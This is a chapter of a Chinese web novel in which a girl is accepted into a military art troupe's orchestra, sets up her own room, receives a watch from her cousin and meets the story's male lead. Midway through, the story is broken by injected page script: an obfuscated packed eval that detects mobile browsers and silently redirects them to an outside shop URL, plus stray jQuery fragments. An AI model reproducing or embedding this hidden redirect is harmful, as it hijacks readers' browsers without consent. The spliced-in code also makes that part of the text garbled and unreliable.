第十六章正式加入文工团
陈岁宁拿着新买的二胡回到家,跟奶奶献宝:“这是大表哥给我买的新二胡。”
谢嘉明说:“这不得拉上两曲听听看。”
表叔正好也在,陈岁便宁直接拉响了《赛马》。
新装备就是好,没了旧二胡的浑浊感,音色清润,节奏一快,能清晰感受到音乐传递的利落洒脱。
一曲完毕,奶奶说:“果然一分钱一分货,声音比之前那把好听多了。怪不得主考官让你重新拉一遍,估计也是觉得破烂二胡不能代表你的真正实力。”
表叔则说:“我虽然是个大老粗,给不出什么专业的评价,但听上去让人斗志昂扬,就很不错,将来你在文工团,也要好好学习,努力进步。”
陈岁宁点头答应:“还没出录取结果,但我会继续努力的。”
表叔难得地开玩笑:“要是拉成这样都不录用你,表叔第一个不答应。”
虽然大家都对她有信心,但陈岁宁高兴之余,仍旧悬着心,生怕到时候拉个大的……
好在翌日,录取名单便贴在了文工团办公楼下,陈岁宁被乐团正式录取。
她又看了眼舞蹈队的名单,没有钟燕。
正在她为朋友感到遗憾时,上次那个吹长笛的男生走过来说:“你就是陈岁宁吧?”
陈岁宁回头看他:“对,我是。”
他长得一副乐观开朗的模样,热情地说:“认识一下,我叫孙卫华,也被录取了,以后咱俩就是同事了。”
陈岁宁:“你好,恭喜啊。”
他又招手叫来一个男生,介绍说他叫杨涛,弹手风琴的。
几人正说着话,钟燕来了,叹了口气:“陈岁宁,我果然没考上。”
陈岁宁不知该说什么话安慰她,好在钟燕想得开:“算了,我本来也觉得自己考不上,走,去吃冰棍。”
陈岁宁跟刚认识的同事道别,边走边问:“那你打算做什么?”
“先去我妈的厂里做临时工,以后有空了,再来找你玩。”
“有空可以随时过来,”陈岁宁道,“有工作就先做着,尽量不要下乡,先熬过这几年。”
吃冰棍时,钟燕道:“对了那两个关系户果然在录取名单上,其实她俩跳得不怎么样,倒是有个跳得很好的女生落榜了,我还挺为她感到可惜。”
陈岁宁问:“那两个关系户的后台很硬吗?”
“我觉得如果真的硬,应该免试进去,估计关系一般,才要走过场。”
陈岁宁:“也对。”
原身当时就是直接进去的,没有走公开选拔面试的路子,不过原身的身体条件确实不错,肢体也柔软,只是她进去后不上进,怕吃苦,所以女配第一个看她不爽,两个人在团里就时不时有摩擦。
现在她在乐团,不在舞蹈队,不会和女配正面起冲突,还是可以安全苟着的。
-
她被正式录取的事,奶奶等人都为之感到高兴,晚上还特地让张姨加了一道荤菜。
次日,陈岁宁去归还二胡,同时把新的二胡带给丁老师看。老师也拉了拉,说道:“是把好二胡,但你拉着更合适。”
陈岁宁问老师:“我们刚进去,会不会马上就安排参加演出?”
丁老师道:“新来的几个,当然是以学习为主,乐团是个团队,讲究配合,自己既要看得懂谱子,也要看得懂指挥老师的手势、表情和肢体语言。至于演出,这几个月确实有挺多演出,但是你们现在跟过去,也是以见习为主。”
陈岁宁点点头:“我明白了。”
“你悟性好,但也别骄傲,尤其不能犯个人主义的毛病。”老师告诫。
“嗯,知道。”
从老师家出来,正好遇到谢嘉明跟彭子。
彭子笑着说:“表妹,以后发工资了得请客啊。”
陈岁宁:“请你吃冰棍。”
“好歹请吃烤鸡烤鸭啊。”
谢嘉明说:“你别搭理他,越理他,他越来劲儿。”
他们要去海院游泳馆,彭子又问:“表妹去不去游泳?”
陈岁宁依旧摇头:“你们去吧,我不会游。”
“多游两次就会了。”
“不去,我有事。”
她想趁着这两天有空,把杂物房收拾出来。
回到家里问奶奶:“那间杂物房能收拾出来吗?我想搬过去。”
奶奶不解:“怎么要搬过去?现在住着不是挺好的?”
“我住的这间是大表哥的房间,归还给他后,他偶尔回来,可以在自己的房间休息。”
奶奶叹道:“他现在家都很少回,回来也是匆匆忙忙就走,哪来的时间在家休息。”
陈岁宁看着奶奶黯然的神情,顿了顿:“万一有需要呢?总之我还是搬过去比较好,那个房间毕竟是表哥的。”
奶奶认同道:“如今你进了文工团,也确实应该有个自己的房间。杂物房里面没有床,得买张新的床,那些一些不要的东西,收拾好了搁在床底下。”
于是这两天,陈岁宁和张姨一起收拾杂物房。
一些物品本就是打包好的,大都是几个兄弟小时候读的课书、玩具、衣物,搬家的时候不舍得扔。
奶奶出钱给陈岁宁购买了一架铁艺床,一张书桌,一个衣柜,陈岁宁自己买了喜欢的床单、被套、枕套,还扯了一块浅青色调的窗帘布,做成窗帘……
房间布置好的那天,陈岁宁看着新的窗帘,望向窗外,感觉人生充满盼头。
正好当天韩决回来,陈岁宁道:“表哥,我的房间布置好了,你的房间物归原主。”
韩决说:“动作还挺快,我上去瞧瞧。”
“对,去检查一下。”
这一年来,陈岁宁没有锁门的习惯,钥匙一直插在孔里,她拔出来又试了试:“没有坏。”
“还有,你的床、书桌,我都清理好了,我的东西都搬过去了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967137|214479||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他点着头:“行。”
“参观一下你房间。”
“我房间也很简单。”陈岁宁带着他过去。
门是直接开着的,他站在门口看了一眼:“布置得还挺温馨。”
“还行吧。”陈岁宁看着他,“表哥,以后要是可以的话,你也时不时回家睡一晚。”
“怎么呢?”他疑惑问。
“我觉得过年安排相亲的事,奶奶嘴上虽然没说,实际上有些自责。正好这半年你又忙,回家也是来去匆匆,奶奶不想耽误你的工作,都不怎么说自己的需求……”
他是孝顺的人,陈岁宁觉得他能理解自己的意思,便道:“我在想,要是你偶尔能回家睡一晚,吃完晚饭陪奶奶散个步,聊个天,奶奶肯定会很高兴。”
韩决滞了滞,随后轻点着头:“行,有空回来住一两晚。”
随后又像是给自己找补:“不过我上半年确实忙。”
陈岁宁笑笑,点了点头:“我知道。”
韩决问:“什么时候去单位报道?”
“下周一。”
他从口袋里掏出一个小盒子:“给你。”
“什么东西?”陈岁宁惊讶住。
“一块手表,都参加工作了,当然得有块手表。”
陈岁宁欣喜地接过了盒子,打开,酒红色牛皮细表带,银亮表盘,戴上去很好看。
“谢谢表哥。”
他点点头:“好好工作。”
“嗯!”
……
周一,大院里的军号按时传至每一个角落,陈岁宁起床,洗漱,吃完早餐,再去文工团报到。
乐团的老师都是自己熟悉的,环境也是自己熟悉的,连新增的团员,陈岁宁也早就认识了其中两个,因此,她很适应。
乐团的新人会统一组织学习相关知识,陈岁宁跟孙卫华、杨涛等人越来越熟悉。
孙卫华的笛子吹得极好,上班第三天,跟大家说:“最近上火,嘴里起了泡,一吹笛子便隐隐作痛。”
大家开玩笑:“这得算工伤。”
孙卫华说:“还是羡慕你们不用动口的,动动手就行。”
陈岁宁发现拉二胡确实省心,不需要动口,还能坐着,但她以前学钢琴,就坐不住……
也许是这个时代没有电脑,没有网络,没有手机,车马很慢,没有东西干扰,陈岁宁特别能集中注意力。
她在这种和谐纯粹的氛围里,转眼度过了一周。
每天学习、进步。
日复一日,不厌其烦。
这周考核时,老师说她是新人标杆。
陈岁宁笑眯眯,下班后准备告诉奶奶,再让奶奶夸自己两句。
然而一回到家,便看到客厅中间站着一个陌生的男子,穿着军装,个子也挺高,看到她时,他温和笑笑:“你就是岁岁表妹吧?”
陈岁宁反应过来,二表哥!
书里的男主,回来了。
……